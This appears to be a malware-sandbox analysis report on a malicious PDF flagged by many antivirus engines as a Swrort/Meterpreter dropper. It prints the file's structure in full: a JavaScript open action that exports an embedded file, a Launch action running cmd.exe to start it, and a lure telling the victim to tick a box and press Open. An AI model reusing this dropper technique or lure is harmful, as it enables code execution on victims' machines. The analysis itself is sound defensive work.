Static Analysis

Javascript original beautified 

                                                this.exportDataObject({
    cName: "template",
    nLaunch: 0
});
                                            
                                                this.exportDataObject({
    cName: "template",
    nLaunch: 0
});
%PDF-1.0
1 0 obj
/Pages 2 0 R
/Type /Catalog
endobj
2 0 obj
/Count 1
/Kids [ 3 0 R ]
/Type /Pages
endobj
3 0 obj
/Contents 4 0 R
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Type /Page
/MediaBox [ 0 0 795 842 ]
endobj
4 0 obj
/Length 0
>>stream
endstream
endobj
0000000000 65535 f
0000000010 00000 n
0000000067 00000 n
0000000136 00000 n
0000000373 00000 n
trailer
/Root 1 0 R
/Size 5
/Info 0 0 R
startxref
5 0 obj
<</EmbeddedFiles 6 0 R>>
endobj
6 0 obj
<</Names[(template)7 0 R]>>
endobj
7 0 obj
<</UF(template.pdf)/F(template.pdf)/EF<</F 8 0 R>>/Desc(template)/Type/Filespec>>
endobj
8 0 obj
<</Subtype/application#2Fpdf/Length 44157/Filter/FlateDecode/DL 73802/Params<</Size 73802/CheckSum<2F15537B3C0D9E55AA3A2F165E377172>>>>>stream
&H"Q@i
j9w`"B
qb0ny)n
KTQDcJg
ts"-B:M
(6ox>:
#j7|{V[
%!#IuY
{Q3Em(|"dF
w!mbtcv
;k[L o
wkIEBo
G#L}<c
<=~p~3
yH1:am!
pxk)?=
&Qg\VG
2eaE[
.}5f&6_P
gqzdxQ
!#Uhii02V4k
OcxEOg#
K'Ro#z:
MC<>LY
.Bye]h>
@6w\V$
I6A6(Z
b^W<.li1
UNG=mi
X^xgy-
X[3[U^?
HOC(n{
",}/:N
OGJ<-[
m;7g3+
(TYJrZ
4/a*J#g+
S8pz0.~AR
Z))_g
'?EZo
}6LC/%
_K]l43
EwV,6e(
th,!q%
UY+ +p%
pA(}=!M
W.D/9D
4G78k<
"EDW?4'
HPR:a{9
L.l*@(
~\:KI;j'
{T;K76o
C-8Kn+
]Tu+hf
H^+0Ha
N%5S?*
><] ?9
aW)]oJZ
Nfs!-XK
n'<KtG
O7Yf7UE[KK
G`5cm#M
@|1b_DF|
'&o>1urzf
WMw\$v1
1U7W6S
pUx9=>SDK
ks9Cq(
L}fkDO
=t?Qzd
CW{^DaN[R
l!d8$4
:!VzLp
N%wfQ
[a+l6L
endstream
endobj
9 0 obj
<</S/JavaScript/JS(this.exportDataObject({ cName: "template", nLaunch: 0 });)/Type/Action>>
endobj
10 0 obj
<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\windows\\system32)/P(/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\template.pdf" (cd "Desktop"))&(if exist "My Documents\\template.pdf" (cd "My Documents"))&(if exist "Documents\\template.pdf" (cd "Documents"))&(if exist "Escritorio\\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\template.pdf" (cd "Mis Documentos"))&(start template.pdf)
To view the encrypted content please tick the "Do not show this message again" box and press Open.)>>>>
endobj
1 0 obj
/Pages 2 0 R/Names 5 0 R/OpenAction 9 0 R
/Type /Catalog
endobj
3 0 obj
/Contents 4 0 R
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Type /Page
/MediaBox [ 0 0 795 842 ]
/AA<</O 10 0 R>>>>
endobj
0000000618 00000 n
0000000658 00000 n
0000000701 00000 n
0000000798 00000 n
0000045122 00000 n
0000045229 00000 n
0000045763 00000 n
0000045848 00000 n
trailer
<</Size 11/Prev 429/Root 1 0 R/Info 0 0 R>>
startxref
Antivirus Signature
Bkav W32.PdfLaunch.Trojan
Lionic Trojan.PDF.Swrort.4!c
ClamAV Pdf.Tool.Agent-1388586
CTX pdf.trojan.swrort
CAT-QuickHeal Trojan.Swrort.A
Skyhigh BehavesLike.PDF.Swrort.pb
ALYac Trojan.CryptZ.Marte.1.Gen
Cylance Unsafe
Zillya Clean
Sangfor HackTool.Win32.Reverse_Bin_v2_5_through_v4_x.uwccg
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
huorong Backdoor/Meterpreter.d
Baidu Multi.Threats.InArchive
VirIT Clean
Symantec Packed.Generic.347
ESET-NOD32 PDF/TrojanDropper.Agent.D
TrendMicro-HouseCall Backdoor.Win32.SWRORT.SMAL01
Avast Win32:Meterpreter-C [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan.Win32.Generic
BitDefender Exploit.PDF-Dropper.Gen
NANO-Antivirus Trojan.Win32.Shellcode.ewfvwj
ViRobot PDF.Z.Agent.46360.K
MicroWorld-eScan Exploit.PDF-Dropper.Gen
Tencent PDF.Win32.Script.900188
Sophos Troj/PDFJs-AIA
F-Secure Trojan:PDF/Embedded.E
DrWeb Trojan.Swrort.1
VIPRE Trojan.CryptZ.Marte.1.Gen
TrendMicro HEUR_PDFEXP.D
CMC Clean
Emsisoft Exploit.PDF-Dropper.Gen (B)
Ikarus possible-Threat.PDF.Acmd
FireEye Exploit.PDF-Dropper.Gen
Jiangmin Exploit.PDF.nc
Varist W32/Swrort.A.gen!Eldorado
Avira TR/Patched.Gen2
Fortinet W32/Rozena.ABV!tr
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.PDF-Dropper.Gen [many]
SUPERAntiSpyware Clean
Microsoft Trojan:Win32/Meterpreter.O
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Swrort.i
TACHYON Clean
VBA32 Clean
Malwarebytes Clean
Zoner Clean
Rising Dropper.Agent/PDF!1.C7BB (CLASSIC)
Yandex Clean
SentinelOne Static AI - Malicious PDF
MaxSecure Trojan.Swrort.B
GData Win32.Backdoor.Swrort.C
AVG Win32:Meterpreter-C [Trj]
Panda Clean
alibabacloud HackTool:Pdf/Agent.1388586
IRMA Signature
ESET Security (Windows) PDF/TrojanDropper.Agent.D trojan
Avast Core Security (Linux) Win32:Meterpreter-C [Trj]
C4S ClamAV (Linux) Win.Trojan.MSShellcode-7
F-Secure Antivirus (Linux) Trojan:PDF/Embedded.E [FSE]
McAfee CLI scanner (Linux) Swrort.i trojan
Bitdefender Antivirus (Linux) Exploit.PDF-Dropper.Gen
G Data Antivirus (Windows) Virus: Exploit.PDF-Dropper.Gen, Trojan.CryptZ.Marte.1.Gen (Engine A), Win32.Trojan.PSE.10KKVZ1 (Engine B)
Sophos Anti-Virus (Linux) Troj/PDFJs-AIA
DrWeb Antivirus (Linux) Trojan.Swrort.1
Trend Micro SProtect (Linux) Clean
ClamAV (Linux) Win.Trojan.MSShellcode-7
eScan Antivirus (Linux) Trojan.CryptZ.Marte.1.Gen(DB)
Kaspersky Standard (Windows) HEUR:Trojan.Win32.Generic
Emsisoft Commandline Scanner (Windows) Exploit.PDF-Dropper.Gen (B)
Cuckoo

We're processing your submission... This could take a few seconds.